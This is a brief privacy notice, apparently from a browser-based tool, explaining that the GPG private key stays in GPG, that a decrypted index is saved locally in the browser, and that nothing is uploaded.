Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.